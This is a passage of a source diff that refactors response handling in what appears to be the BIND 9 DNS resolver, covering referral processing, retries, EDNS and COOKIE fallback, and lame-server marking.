+	 * Sometimes we can tell if its a negative response by looking
+	 * at the message header.
 	 */
 	if (rctx->query->rmessage->rcode == dns_rcode_nxdomain ||
 	    (rctx->query->rmessage->counts[DNS_SECTION_ANSWER] == 0 &&
@@ -9087,7 +8760,7 @@ rctx_answer_none(respctx_t *rctx) {
 	log_ns_ttl(fctx, "rctx_answer_none");
 
 	if (rctx->ns_rdataset != NULL &&
-	    dns_name_equal(&fctx->domain, rctx->ns_name) &&
+	    dns_name_equal(fctx->domain, rctx->ns_name) &&
 	    !dns_name_equal(rctx->ns_name, dns_rootname))
 	{
 		trim_ns_ttl(fctx, rctx->ns_name, rctx->ns_rdataset);
@@ -9120,8 +8793,8 @@ rctx_answer_none(respctx_t *rctx) {
 	if (rctx->negative &&
 	    rctx->query->rmessage->rcode == dns_rcode_noerror &&
 	    fctx->type == dns_rdatatype_ds && rctx->soa_name != NULL &&
-	    dns_name_equal(rctx->soa_name, &fctx->name) &&
-	    !dns_name_equal(&fctx->name, dns_rootname))
+	    dns_name_equal(rctx->soa_name, fctx->name) &&
+	    !dns_name_equal(fctx->name, dns_rootname))
 	{
 		return (DNS_R_CHASEDSSERVERS);
 	}
@@ -9137,7 +8810,7 @@ rctx_answer_none(respctx_t *rctx) {
 			log_formerr(fctx, "invalid response");
 			return (DNS_R_FORMERR);
 		}
-		if (!dns_name_issubdomain(rctx->found_name, &fctx->domain)) {
+		if (!dns_name_issubdomain(rctx->found_name, fctx->domain)) {
 			char nbuf[DNS_NAME_FORMATSIZE];
 			char dbuf[DNS_NAME_FORMATSIZE];
 			char tbuf[DNS_RDATATYPE_FORMATSIZE];
@@ -9145,7 +8818,7 @@ rctx_answer_none(respctx_t *rctx) {
 			dns_rdatatype_format(rctx->found_type, tbuf,
 					     sizeof(tbuf));
 			dns_name_format(rctx->found_name, nbuf, sizeof(nbuf));
-			dns_name_format(&fctx->domain, dbuf, sizeof(dbuf));
+			dns_name_format(fctx->domain, dbuf, sizeof(dbuf));
 
 			log_formerr(fctx,
 				    "Name %s (%s) not subdomain"
@@ -9180,7 +8853,7 @@ rctx_answer_none(respctx_t *rctx) {
 	 * NS RRs we may have found.
 	 */
 	if (rctx->ns_name != NULL) {
-		rctx->ns_name->attributes &= ~DNS_NAMEATTR_CACHE;
+		rctx->ns_name->attributes.cache = false;
 	}
 
 	if (rctx->negative) {
@@ -9226,7 +8899,7 @@ rctx_authority_negative(respctx_t *rctx) {
 			finished = true;
 		}
 
-		if (!dns_name_issubdomain(name, &fctx->domain)) {
+		if (!dns_name_issubdomain(name, fctx->domain)) {
 			continue;
 		}
 
@@ -9239,15 +8912,14 @@ rctx_authority_negative(respctx_t *rctx) {
 			}
 			if (((type == dns_rdatatype_ns ||
 			      type == dns_rdatatype_soa) &&
-			     !dns_name_issubdomain(&fctx->name, name)))
+			     !dns_name_issubdomain(fctx->name, name)))
 			{
 				char qbuf[DNS_NAME_FORMATSIZE];
 				char nbuf[DNS_NAME_FORMATSIZE];
 				char tbuf[DNS_RDATATYPE_FORMATSIZE];
 				dns_rdatatype_format(type, tbuf, sizeof(tbuf));
 				dns_name_format(name, nbuf, sizeof(nbuf));
-				dns_name_format(&fctx->name, qbuf,
-						sizeof(qbuf));
+				dns_name_format(fctx->name, qbuf, sizeof(qbuf));
 				log_formerr(fctx,
 					    "unrelated %s %s in "
 					    "%s authority section",
@@ -9264,7 +8936,8 @@ rctx_authority_negative(respctx_t *rctx) {
 				 */
 				if (rdataset->type == dns_rdatatype_ns) {
 					if (rctx->ns_name != NULL &&
-					    name != rctx->ns_name) {
+					    name != rctx->ns_name)
+					{
 						log_formerr(fctx, "multiple NS "
 								  "RRsets "
 								  "in "
@@ -9276,7 +8949,7 @@ rctx_authority_negative(respctx_t *rctx) {
 					rctx->ns_name = name;
 					rctx->ns_rdataset = rdataset;
 				}
-				name->attributes |= DNS_NAMEATTR_CACHE;
+				name->attributes.cache = true;
 				rdataset->attributes |= DNS_RDATASETATTR_CACHE;
 				rdataset->trust = dns_trust_glue;
 				break;
@@ -9288,7 +8961,8 @@ rctx_authority_negative(respctx_t *rctx) {
 				 */
 				if (rdataset->type == dns_rdatatype_soa) {
 					if (rctx->soa_name != NULL &&
-					    name != rctx->soa_name) {
+					    name != rctx->soa_name)
+					{
 						log_formerr(fctx, "multiple "
 								  "SOA RRs "
 								  "in "
@@ -9299,7 +8973,7 @@ rctx_authority_negative(respctx_t *rctx) {
 					}
 					rctx->soa_name = name;
 				}
-				name->attributes |= DNS_NAMEATTR_NCACHE;
+				name->attributes.ncache = true;
 				rdataset->attributes |= DNS_RDATASETATTR_NCACHE;
 				if (rctx->aa) {
 					rdataset->trust =
@@ -9387,8 +9061,11 @@ rctx_authority_dnssec(respctx_t *rctx) {
 			finished = true;
 		}
 
-		if (!dns_name_issubdomain(name, &fctx->domain)) {
-			/* Invalid name found; preserve it for logging later */
+		if (!dns_name_issubdomain(name, fctx->domain)) {
+			/*
+			 * Invalid name found; preserve it for logging
+			 * later.
+			 */
 			rctx->found_name = name;
 			rctx->found_type = ISC_LIST_HEAD(name->list)->type;
 			continue;
@@ -9409,11 +9086,11 @@ rctx_authority_dnssec(respctx_t *rctx) {
 			case dns_rdatatype_nsec:
 			case dns_rdatatype_nsec3:
 				if (rctx->negative) {
-					name->attributes |= DNS_NAMEATTR_NCACHE;
+					name->attributes.ncache = true;
 					rdataset->attributes |=
 						DNS_RDATASETATTR_NCACHE;
 				} else if (type == dns_rdatatype_nsec) {
-					name->attributes |= DNS_NAMEATTR_CACHE;
+					name->attributes.cache = true;
 					rdataset->attributes |=
 						DNS_RDATASETATTR_CACHE;
 				}
@@ -9427,16 +9104,17 @@ rctx_authority_dnssec(respctx_t *rctx) {
 					rdataset->trust = dns_trust_additional;
 				}
 				/*
-				 * No additional data needs to be marked.
+				 * No additional data needs to be
+				 * marked.
 				 */
 				break;
 			case dns_rdatatype_ds:
 				/*
 				 * DS or SIG DS.
 				 *
-				 * These should only be here if this is a
-				 * referral, and there should only be one
-				 * DS RRset.
+				 * These should only be here if this is
+				 * a referral, and there should only be
+				 * one DS RRset.
 				 */
 				if (rctx->ns_name == NULL) {
 					log_formerr(fctx, "DS with no "
@@ -9447,7 +9125,8 @@ rctx_authority_dnssec(respctx_t *rctx) {
 
 				if (rdataset->type == dns_rdatatype_ds) {
 					if (rctx->ds_name != NULL &&
-					    name != rctx->ds_name) {
+					    name != rctx->ds_name)
+					{
 						log_formerr(fctx, "DS doesn't "
 								  "match "
 								  "referral "
@@ -9458,7 +9137,7 @@ rctx_authority_dnssec(respctx_t *rctx) {
 					rctx->ds_name = name;
 				}
 
-				name->attributes |= DNS_NAMEATTR_CACHE;
+				name->attributes.cache = true;
 				rdataset->attributes |= DNS_RDATASETATTR_CACHE;
 
 				if ((fctx->options & DNS_FETCHOPT_NONTA) != 0) {
@@ -9514,7 +9193,7 @@ rctx_referral(respctx_t *rctx) {
 	 * progress.  We return DNS_R_FORMERR so that we'll keep
 	 * trying other servers.
 	 */
-	if (dns_name_equal(rctx->ns_name, &fctx->domain)) {
+	if (dns_name_equal(rctx->ns_name, fctx->domain)) {
 		log_formerr(fctx, "non-improving referral");
 		rctx->result = DNS_R_FORMERR;
 		return (ISC_R_COMPLETE);
@@ -9524,7 +9203,7 @@ rctx_referral(respctx_t *rctx) {
 	 * If the referral name is not a parent of the query
 	 * name, consider the responder insane.
 	 */
-	if (!dns_name_issubdomain(&fctx->name, rctx->ns_name)) {
+	if (!dns_name_issubdomain(fctx->name, rctx->ns_name)) {
 		/* Logged twice */
 		log_formerr(fctx, "referral to non-parent");
 		FCTXTRACE("referral to non-parent");
@@ -9539,8 +9218,8 @@ rctx_referral(respctx_t *rctx) {
 	 */
 	INSIST(rctx->ns_rdataset != NULL);
 	FCTX_ATTR_SET(fctx, FCTX_ATTR_GLUING);
-	(void)dns_rdataset_additionaldata(rctx->ns_rdataset, check_related,
-					  rctx);
+	(void)dns_rdataset_additionaldata(rctx->ns_rdataset, rctx->ns_name,
+					  check_related, rctx);
 #if CHECK_FOR_GLUE_IN_ANSWER
 	/*
 	 * Look in the answer section for "glue" that is incorrectly
@@ -9552,8 +9231,8 @@ rctx_referral(respctx_t *rctx) {
 	if (rctx->glue_in_answer &&
 	    (fctx->type == dns_rdatatype_aaaa || fctx->type == dns_rdatatype_a))
 	{
-		(void)dns_rdataset_additionaldata(rctx->ns_rdataset,
-						  check_answer, fctx);
+		(void)dns_rdataset_additionaldata(
+			rctx->ns_rdataset, rctx->ns_name, check_answer, fctx);
 	}
 #endif /* if CHECK_FOR_GLUE_IN_ANSWER */
 	FCTX_ATTR_CLR(fctx, FCTX_ATTR_GLUING);
@@ -9575,27 +9254,19 @@ rctx_referral(respctx_t *rctx) {
 	 * XXXRTH  We should check if we're in forward-only mode, and
 	 *		if so we should bail out.
 	 */
-	INSIST(dns_name_countlabels(&fctx->domain) > 0);
+	INSIST(dns_name_countlabels(fctx->domain) > 0);
 	fcount_decr(fctx);
 
-	dns_name_free(&fctx->domain, fctx->mctx);
 	if (dns_rdataset_isassociated(&fctx->nameservers)) {
 		dns_rdataset_disassociate(&fctx->nameservers);
 	}
 
-	dns_name_init(&fctx->domain, NULL);
-	dns_name_dup(rctx->ns_name, fctx->mctx, &fctx->domain);
+	dns_name_copy(rctx->ns_name, fctx->domain);
 
 	if ((fctx->options & DNS_FETCHOPT_QMINIMIZE) != 0) {
-		dns_name_free(&fctx->qmindcname, fctx->mctx);
-		dns_name_init(&fctx->qmindcname, NULL);
-		dns_name_dup(rctx->ns_name, fctx->mctx, &fctx->qmindcname);
+		dns_name_copy(rctx->ns_name, fctx->qmindcname);
 
-		result = fctx_minimize_qname(fctx);
-		if (result != ISC_R_SUCCESS) {
-			rctx->result = result;
-			return (ISC_R_COMPLETE);
-		}
+		fctx_minimize_qname(fctx);
 	}
 
 	result = fcount_incr(fctx, true);
@@ -9611,8 +9282,8 @@ rctx_referral(respctx_t *rctx) {
 
 	/*
 	 * Reinitialize 'rctx' to prepare for following the delegation:
-	 * set the get_nameservers and next_server flags appropriately and
-	 * reset the fetch context counters.
+	 * set the get_nameservers and next_server flags appropriately
+	 * and reset the fetch context counters.
 	 *
 	 */
 	if ((rctx->fctx->options & DNS_FETCHOPT_NOFOLLOW) == 0) {
@@ -9653,17 +9324,17 @@ rctx_additional(respctx_t *rctx) {
 		dns_rdataset_t *rdataset;
 		dns_message_currentname(rctx->query->rmessage,
 					DNS_SECTION_ADDITIONAL, &name);
-		if ((name->attributes & DNS_NAMEATTR_CHASE) == 0) {
+		if (!name->attributes.chase) {
 			continue;
 		}
-		name->attributes &= ~DNS_NAMEATTR_CHASE;
+		name->attributes.chase = false;
 		for (rdataset = ISC_LIST_HEAD(name->list); rdataset != NULL;
 		     rdataset = ISC_LIST_NEXT(rdataset, link))
 		{
 			if (CHASE(rdataset)) {
 				rdataset->attributes &= ~DNS_RDATASETATTR_CHASE;
 				(void)dns_rdataset_additionaldata(
-					rdataset, check_related, rctx);
+					rdataset, name, check_related, rctx);
 				rescan = true;
 			}
 		}
@@ -9682,6 +9353,7 @@ static void
 rctx_nextserver(respctx_t *rctx, dns_message_t *message,
 		dns_adbaddrinfo_t *addrinfo, isc_result_t result) {
 	fetchctx_t *fctx = rctx->fctx;
+	bool retrying = true;
 
 	if (result == DNS_R_FORMERR) {
 		rctx->broken_server = DNS_R_FORMERR;
@@ -9704,120 +9376,104 @@ rctx_nextserver(respctx_t *rctx, dns_message_t *message,
 		dcname = dns_fixedname_initname(&founddc);
 
 		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
+			fctx_done_detach(&rctx->fctx, DNS_R_SERVFAIL);
 			return;
 		}
 		if (dns_rdatatype_atparent(fctx->type)) {
 			findoptions |= DNS_DBFIND_NOEXACT;
 		}
+		/* FIXME: Why??? */
 		if ((rctx->retryopts & DNS_FETCHOPT_UNSHARED) == 0) {
-			name = &fctx->name;
+			name = fctx->name;
 		} else {
-			name = &fctx->domain;
+			name = fctx->domain;
 		}
 		result = dns_view_findzonecut(
 			fctx->res->view, name, fname, dcname, fctx->now,
 			findoptions, true, true, &fctx->nameservers, NULL);
 		if (result != ISC_R_SUCCESS) {
 			FCTXTRACE("couldn't find a zonecut");
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
+			fctx_done_detach(&rctx->fctx, DNS_R_SERVFAIL);
 			return;
 		}
-		if (!dns_name_issubdomain(fname, &fctx->domain)) {
+		if (!dns_name_issubdomain(fname, fctx->domain)) {
 			/*
-			 * The best nameservers are now above our QDOMAIN.
+			 * The best nameservers are now above our
+			 * QDOMAIN.
 			 */
 			FCTXTRACE("nameservers now above QDOMAIN");
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
+			fctx_done_detach(&rctx->fctx, DNS_R_SERVFAIL);
 			return;
 		}
 
 		fcount_decr(fctx);
 
-		dns_name_free(&fctx->domain, fctx->mctx);
-		dns_name_init(&fctx->domain, NULL);
-		dns_name_dup(fname, fctx->mctx, &fctx->domain);
-		dns_name_free(&fctx->qmindcname, fctx->mctx);
-		dns_name_init(&fctx->qmindcname, NULL);
-		dns_name_dup(dcname, fctx->mctx, &fctx->qmindcname);
+		dns_name_copy(fname, fctx->domain);
+		dns_name_copy(dcname, fctx->qmindcname);
 
 		result = fcount_incr(fctx, true);
 		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
+			fctx_done_detach(&rctx->fctx, DNS_R_SERVFAIL);
 			return;
 		}
 		fctx->ns_ttl = fctx->nameservers.ttl;
 		fctx->ns_ttl_ok = true;
 		fctx_cancelqueries(fctx, true, false);
-		fctx_cleanupall(fctx);
+		fctx_cleanup(fctx);
+		retrying = false;
 	}
 
 	/*
 	 * Try again.
 	 */
-	fctx_try(fctx, !rctx->get_nameservers, false);
+	fctx_try(fctx, retrying, false);
 }
 
 /*
  * rctx_resend():
  *
- * Resend the query, probably with the options changed. Calls fctx_query(),
- * passing rctx->retryopts (which is based on query->options, but may have been
- * updated since the last time fctx_query() was called).
+ * Resend the query, probably with the options changed. Calls
+ * fctx_query(), passing rctx->retryopts (which is based on
+ * query->options, but may have been updated since the last time
+ * fctx_query() was called).
  */
 static void
 rctx_resend(respctx_t *rctx, dns_adbaddrinfo_t *addrinfo) {
-	isc_result_t result;
 	fetchctx_t *fctx = rctx->fctx;
-	bool bucket_empty;
-	dns_resolver_t *res = fctx->res;
-	unsigned int bucketnum;
+	isc_result_t result;
 
 	FCTXTRACE("resend");
 	inc_stats(fctx->res, dns_resstatscounter_retry);
-	fctx_increference(fctx);
 	result = fctx_query(fctx, addrinfo, rctx->retryopts);
-	if (result == ISC_R_SUCCESS) {
-		return;
-	}
-
-	bucketnum = fctx->bucketnum;
-	fctx_done(fctx, result, __LINE__);
-	LOCK(&res->buckets[bucketnum].lock);
-	bucket_empty = fctx_decreference(fctx);
-	UNLOCK(&res->buckets[bucketnum].lock);
-	if (bucket_empty) {
-		empty_bucket(res);
+	if (result != ISC_R_SUCCESS) {
+		fctx_done_detach(&rctx->fctx, result);
 	}
 }
 
 /*
  * rctx_next():
- * We got what appeared to be a response but it didn't match the question
- * or the cookie; it may have been meant for someone else, or it may be a
- * spoofing attack. Drop it and continue listening for the response we
- * wanted.
+ * We got what appeared to be a response but it didn't match the
+ * question or the cookie; it may have been meant for someone else, or
+ * it may be a spoofing attack. Drop it and continue listening for the
+ * response we wanted.
  */
-static void
+static isc_result_t
 rctx_next(respctx_t *rctx) {
-#ifdef WANT_QUERYTRACE
 	fetchctx_t *fctx = rctx->fctx;
-#endif /* ifdef WANT_QUERYTRACE */
 	isc_result_t result;
 
 	FCTXTRACE("nextitem");
 	inc_stats(rctx->fctx->res, dns_resstatscounter_nextitem);
 	INSIST(rctx->query->dispentry != NULL);
 	dns_message_reset(rctx->query->rmessage, DNS_MESSAGE_INTENTPARSE);
-	result = dns_dispatch_getnext(rctx->query->dispentry, &rctx->devent);
-	if (result != ISC_R_SUCCESS) {
-		fctx_done(rctx->fctx, result, __LINE__);
-	}
+	result = dns_dispatch_getnext(rctx->query->dispentry);
+	return (result);
 }
 
 /*
  * rctx_chaseds():
- * Look up the parent zone's NS records so that DS records can be fetched.
+ * Look up the parent zone's NS records so that DS records can be
+ * fetched.
  */
 static void
 rctx_chaseds(respctx_t *rctx, dns_message_t *message,
@@ -9827,109 +9483,109 @@ rctx_chaseds(respctx_t *rctx, dns_message_t *message,
 
 	add_bad(fctx, message, addrinfo, result, rctx->broken_type);
 	fctx_cancelqueries(fctx, true, false);
-	fctx_cleanupfinds(fctx);
-	fctx_cleanupforwaddrs(fctx);
+	fctx_cleanup(fctx);
 
-	n = dns_name_countlabels(&fctx->name);
-	dns_name_getlabelsequence(&fctx->name, 1, n - 1, &fctx->nsname);
+	n = dns_name_countlabels(fctx->name);
+	dns_name_getlabelsequence(fctx->name, 1, n - 1, fctx->nsname);
 
 	FCTXTRACE("suspending DS lookup to find parent's NS records");
 
+	fetchctx_ref(fctx);
 	result = dns_resolver_createfetch(
-		fctx->res, &fctx->nsname, dns_rdatatype_ns, NULL, NULL, NULL,
-		NULL, 0, fctx->options, 0, NULL, rctx->task, resume_dslookup,
+		fctx->res, fctx->nsname, dns_rdatatype_ns, NULL, NULL, NULL,
+		NULL, 0, fctx->options, 0, NULL, fctx->loop, resume_dslookup,
 		fctx, &fctx->nsrrset, NULL, &fctx->nsfetch);
 	if (result != ISC_R_SUCCESS) {
 		if (result == DNS_R_DUPLICATE) {
 			result = DNS_R_SERVFAIL;
 		}
-		fctx_done(fctx, result, __LINE__);
-	} else {
-		fctx_increference(fctx);
-		result = fctx_stopidletimer(fctx);
-		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, result, __LINE__);
-		}
+		fctx_done_detach(&rctx->fctx, result);
+		fetchctx_detach(&fctx);
+		return;
 	}
 }
 
 /*
  * rctx_done():
- * This resolver query response is finished, either because we encountered
- * a problem or because we've gotten all the information from it that we
- * can.  We either wait for another response, resend the query to the
- * same server, resend to a new server, or clean up and shut down the fetch.
+ * This resolver query response is finished, either because we
+ * encountered a problem or because we've gotten all the information
+ * from it that we can.  We either wait for another response, resend the
+ * query to the same server, resend to a new server, or clean up and
+ * shut down the fetch.
  */
 static void
 rctx_done(respctx_t *rctx, isc_result_t result) {
 	resquery_t *query = rctx->query;
 	fetchctx_t *fctx = rctx->fctx;
 	dns_adbaddrinfo_t *addrinfo = query->addrinfo;
+	dns_message_t *message = NULL;
+
 	/*
 	 * Need to attach to the message until the scope
 	 * of this function ends, since there are many places
-	 * where te message is used and/or may be destroyed
+	 * where the message is used and/or may be destroyed
 	 * before this function ends.
 	 */
-	dns_message_t *message = NULL;
 	dns_message_attach(query->rmessage, &message);
 
-	FCTXTRACE4("query canceled in response(); ",
+	FCTXTRACE4("query canceled in rctx_done();",
 		   rctx->no_response ? "no response" : "responding", result);
 
-	/*
-	 * Cancel the query.
-	 *
-	 * XXXRTH  Don't cancel the query if waiting for validation?
-	 */
-	if (!rctx->nextitem) {
-		fctx_cancelquery(&query, &rctx->devent, rctx->finish,
-				 rctx->no_response, false);
-	}
-
 #ifdef ENABLE_AFL
 	if (dns_fuzzing_resolver &&
 	    (rctx->next_server || rctx->resend || rctx->nextitem))
 	{
-		if (rctx->nextitem) {
-			fctx_cancelquery(&query, &rctx->devent, rctx->finish,
-					 rctx->no_response, false);
-		}
-		fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
-		return;
-	} else
+		fctx_cancelquery(&query, rctx->finish, rctx->no_response,
+				 false);
+		fctx_done_detach(&rctx->fctx, DNS_R_SERVFAIL);
+		goto detach;
+	}
 #endif /* ifdef ENABLE_AFL */
-		if (rctx->next_server)
-	{
+
+	if (rctx->nextitem) {
+		REQUIRE(!rctx->next_server);
+		REQUIRE(!rctx->resend);
+
+		result = rctx_next(rctx);
+		if (result == ISC_R_SUCCESS) {
+			goto detach;
+		}
+	}
+
+	/* Cancel the query */
+	fctx_cancelquery(&query, rctx->finish, rctx->no_response, false);
+
+	/*
+	 * If nobody's waiting for results, don't resend or try next server.
+	 */
+	LOCK(&fctx->lock);
+	if (ISC_LIST_EMPTY(fctx->resps)) {
+		rctx->next_server = false;
+		rctx->resend = false;
+	}
+	UNLOCK(&fctx->lock);
+
+	if (rctx->next_server) {
 		rctx_nextserver(rctx, message, addrinfo, result);
 	} else if (rctx->resend) {
 		rctx_resend(rctx, addrinfo);
-	} else if (rctx->nextitem) {
-		rctx_next(rctx);
 	} else if (result == DNS_R_CHASEDSSERVERS) {
 		rctx_chaseds(rctx, message, addrinfo, result);
 	} else if (result == ISC_R_SUCCESS && !HAVE_ANSWER(fctx)) {
 		/*
-		 * All has gone well so far, but we are waiting for the
-		 * DNSSEC validator to validate the answer.
+		 * All has gone well so far, but we are waiting for the DNSSEC
+		 * validator to validate the answer.
 		 */
 		FCTXTRACE("wait for validator");
 		fctx_cancelqueries(fctx, true, false);
-		/*
-		 * We must not retransmit while the validator is working;
-		 * it has references to the current rmessage.
-		 */
-		result = fctx_stopidletimer(fctx);
-		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, result, __LINE__);
-		}
 	} else {
 		/*
 		 * We're done.
 		 */
-		fctx_done(fctx, result, __LINE__);
+		fctx_done_detach(&rctx->fctx, result);
 	}
 
+detach:
 	dns_message_detach(&message);
 }
 
@@ -9939,10 +9595,9 @@ rctx_done(respctx_t *rctx, isc_result_t result) {
  */
 static void
 rctx_logpacket(respctx_t *rctx) {
+	fetchctx_t *fctx = rctx->fctx;
 #ifdef HAVE_DNSTAP
 	isc_result_t result;
-	fetchctx_t *fctx = rctx->fctx;
-	isc_socket_t *sock = NULL;
 	isc_sockaddr_t localaddr, *la = NULL;
 	unsigned char zone[DNS_NAME_MAXWIRE];
 	dns_dtmsgtype_t dtmsgtype;
@@ -9955,23 +9610,21 @@ rctx_logpacket(respctx_t *rctx) {
 		rctx->query->rmessage, "received packet from",
 		&rctx->query->addrinfo->sockaddr, DNS_LOGCATEGORY_RESOLVER,
 		DNS_LOGMODULE_PACKETS, &dns_master_style_comment,
-		ISC_LOG_DEBUG(10), rctx->fctx->res->mctx);
+		ISC_LOG_DEBUG(10), fctx->mctx);
 
 #ifdef HAVE_DNSTAP
 	/*
 	 * Log the response via dnstap.
 	 */
 	memset(&zr, 0, sizeof(zr));
-	result = dns_compress_init(&cctx, -1, fctx->res->mctx);
+	dns_compress_init(&cctx, fctx->mctx, 0);
+	dns_compress_setpermitted(&cctx, false);
+	isc_buffer_init(&zb, zone, sizeof(zone));
+	result = dns_name_towire(fctx->domain, &cctx, &zb, NULL);
 	if (result == ISC_R_SUCCESS) {
-		isc_buffer_init(&zb, zone, sizeof(zone));
-		dns_compress_setmethods(&cctx, DNS_COMPRESS_NONE);
-		result = dns_name_towire(&fctx->domain, &cctx, &zb);
-		if (result == ISC_R_SUCCESS) {
-			isc_buffer_usedregion(&zb, &zr);
-		}
-		dns_compress_invalidate(&cctx);
+		isc_buffer_usedregion(&zb, &zr);
 	}
+	dns_compress_invalidate(&cctx);
 
 	if ((fctx->qmessage->flags & DNS_MESSAGEFLAG_RD) != 0) {
 		dtmsgtype = DNS_DTTYPE_FR;
@@ -9979,19 +9632,16 @@ rctx_logpacket(respctx_t *rctx) {
 		dtmsgtype = DNS_DTTYPE_RR;
 	}
 
-	sock = query2sock(rctx->query);
-
-	if (sock != NULL) {
-		result = isc_socket_getsockname(sock, &localaddr);
-		if (result == ISC_R_SUCCESS) {
-			la = &localaddr;
-		}
+	result = dns_dispentry_getlocaladdress(rctx->query->dispentry,
+					       &localaddr);
+	if (result == ISC_R_SUCCESS) {
+		la = &localaddr;
 	}
 
 	dns_dt_send(fctx->res->view, dtmsgtype, la,
 		    &rctx->query->addrinfo->sockaddr,
 		    ((rctx->query->options & DNS_FETCHOPT_TCP) != 0), &zr,
-		    &rctx->query->start, NULL, &rctx->devent->buffer);
+		    &rctx->query->start, NULL, &rctx->buffer);
 #endif /* HAVE_DNSTAP */
 }
 
@@ -10013,19 +9663,11 @@ rctx_badserver(respctx_t *rctx, isc_result_t result) {
 		return (ISC_R_SUCCESS);
 	}
 
-	if ((rcode == dns_rcode_formerr) &&
+	if ((rcode == dns_rcode_formerr) && rctx->opt == NULL &&
 	    (rctx->retryopts & DNS_FETCHOPT_NOEDNS0) == 0)
 	{
 		/*
 		 * It's very likely they don't like EDNS0.
-		 * If the response code is SERVFAIL, also check if the
-		 * response contains an OPT RR and don't cache the
-		 * failure since it can be returned for various other
-		 * reasons.
-		 *
-		 * XXXRTH  We should check if the question
-		 *		we're asking requires EDNS0, and
-		 *		if so, we should bail out.
 		 */
 		rctx->retryopts |= DNS_FETCHOPT_NOEDNS0;
 		rctx->resend = true;
@@ -10035,24 +9677,22 @@ rctx_badserver(respctx_t *rctx, isc_result_t result) {
 		add_bad_edns(fctx, &query->addrinfo->sockaddr);
 		inc_stats(fctx->res, dns_resstatscounter_edns0fail);
 	} else if (rcode == dns_rcode_formerr) {
-		if (ISFORWARDER(query->addrinfo)) {
+		if (query->rmessage->cc_echoed) {
 			/*
-			 * This forwarder doesn't understand us,
-			 * but other forwarders might.  Keep trying.
+			 * Retry without DNS COOKIE.
 			 */
-			rctx->broken_server = DNS_R_REMOTEFORMERR;
-			rctx->next_server = true;
+			query->addrinfo->flags |= FCTX_ADDRINFO_NOCOOKIE;
+			rctx->resend = true;
+			log_formerr(fctx, "server sent FORMERR with echoed DNS "
+					  "COOKIE");
 		} else {
 			/*
-			 * The server doesn't understand us.  Since
-			 * all servers for a zone need similar
-			 * capabilities, we assume that we will get
-			 * FORMERR from all servers, and thus we
-			 * cannot make any more progress with this
-			 * fetch.
+			 * The server (or forwarder) doesn't understand us,
+			 * but others might.
 			 */
+			rctx->next_server = true;
+			rctx->broken_server = DNS_R_REMOTEFORMERR;
 			log_formerr(fctx, "server sent FORMERR");
-			result = DNS_R_FORMERR;
 		}
 	} else if (rcode == dns_rcode_badvers) {
 		unsigned int version;
@@ -10073,7 +9713,8 @@ rctx_badserver(respctx_t *rctx, isc_result_t result) {
 		 * Record that we got a good EDNS response.
 		 */
 		if (query->ednsversion > (int)version &&
-		    !EDNSOK(query->addrinfo)) {
+		    !EDNSOK(query->addrinfo))
+		{
 			dns_adb_changeflags(fctx->adb, query->addrinfo,
 					    FCTX_ADDRINFO_EDNSOK,
 					    FCTX_ADDRINFO_EDNSOK);
@@ -10130,25 +9771,26 @@ rctx_badserver(respctx_t *rctx, isc_result_t result) {
  */
 static isc_result_t
 rctx_lameserver(respctx_t *rctx) {
-	isc_result_t result;
+	isc_result_t result = ISC_R_SUCCESS;
 	fetchctx_t *fctx = rctx->fctx;
 	resquery_t *query = rctx->query;
 
-	if (fctx->res->lame_ttl == 0 || ISFORWARDER(query->addrinfo) ||
-	    !is_lame(fctx, query->rmessage))
-	{
+	if (ISFORWARDER(query->addrinfo) || !is_lame(fctx, query->rmessage)) {
 		return (ISC_R_SUCCESS);
 	}
 
 	inc_stats(fctx->res, dns_resstatscounter_lame);
 	log_lame(fctx, query->addrinfo);
-	result = dns_adb_marklame(fctx->adb, query->addrinfo, &fctx->name,
-				  fctx->type, rctx->now + fctx->res->lame_ttl);
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
-			      DNS_LOGMODULE_RESOLVER, ISC_LOG_ERROR,
-			      "could not mark server as lame: %s",
-			      isc_result_totext(result));
+	if (fctx->res->lame_ttl != 0) {
+		result = dns_adb_marklame(fctx->adb, query->addrinfo,
+					  fctx->name, fctx->type,
+					  rctx->now + fctx->res->lame_ttl);
+		if (result != ISC_R_SUCCESS) {
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
+				      DNS_LOGMODULE_RESOLVER, ISC_LOG_ERROR,
+				      "could not mark server as lame: %s",
+				      isc_result_totext(result));
+		}
 	}
 	rctx->broken_server = DNS_R_LAME;
 	rctx->next_server = true;
@@ -10158,47 +9800,12 @@ rctx_lameserver(respctx_t *rctx) {
 	return (ISC_R_COMPLETE);
 }
 
-/*
- * rctx_delonly_zone():
- * Handle delegation-only zones like NET and COM.
- */
-static void
-rctx_delonly_zone(respctx_t *rctx) {
-	fetchctx_t *fctx = rctx->fctx;
-	char namebuf[DNS_NAME_FORMATSIZE];
-	char domainbuf[DNS_NAME_FORMATSIZE];
-	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
-	char classbuf[64];
-	char typebuf[64];
-
-	if (ISFORWARDER(rctx->query->addrinfo) ||
-	    !dns_view_isdelegationonly(fctx->res->view, &fctx->domain) ||
-	    dns_name_equal(&fctx->domain, &fctx->name) ||
-	    !fix_mustbedelegationornxdomain(rctx->query->rmessage, fctx))
-	{
-		return;
-	}
-
-	dns_name_format(&fctx->name, namebuf, sizeof(namebuf));
-	dns_name_format(&fctx->domain, domainbuf, sizeof(domainbuf));
-	dns_rdatatype_format(fctx->type, typebuf, sizeof(typebuf));
-	dns_rdataclass_format(fctx->res->rdclass, classbuf, sizeof(classbuf));
-	isc_sockaddr_format(&rctx->query->addrinfo->sockaddr, addrbuf,
-			    sizeof(addrbuf));
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DELEGATION_ONLY,
-		      DNS_LOGMODULE_RESOLVER, ISC_LOG_NOTICE,
-		      "enforced delegation-only for '%s' (%s/%s/%s) from %s",
-		      domainbuf, namebuf, typebuf, classbuf, addrbuf);
-}
-
 /***
  *** Resolver Methods
  ***/
 static void
-destroy(dns_resolver_t *res) {
-	unsigned int i;
-	alternate_t *a;
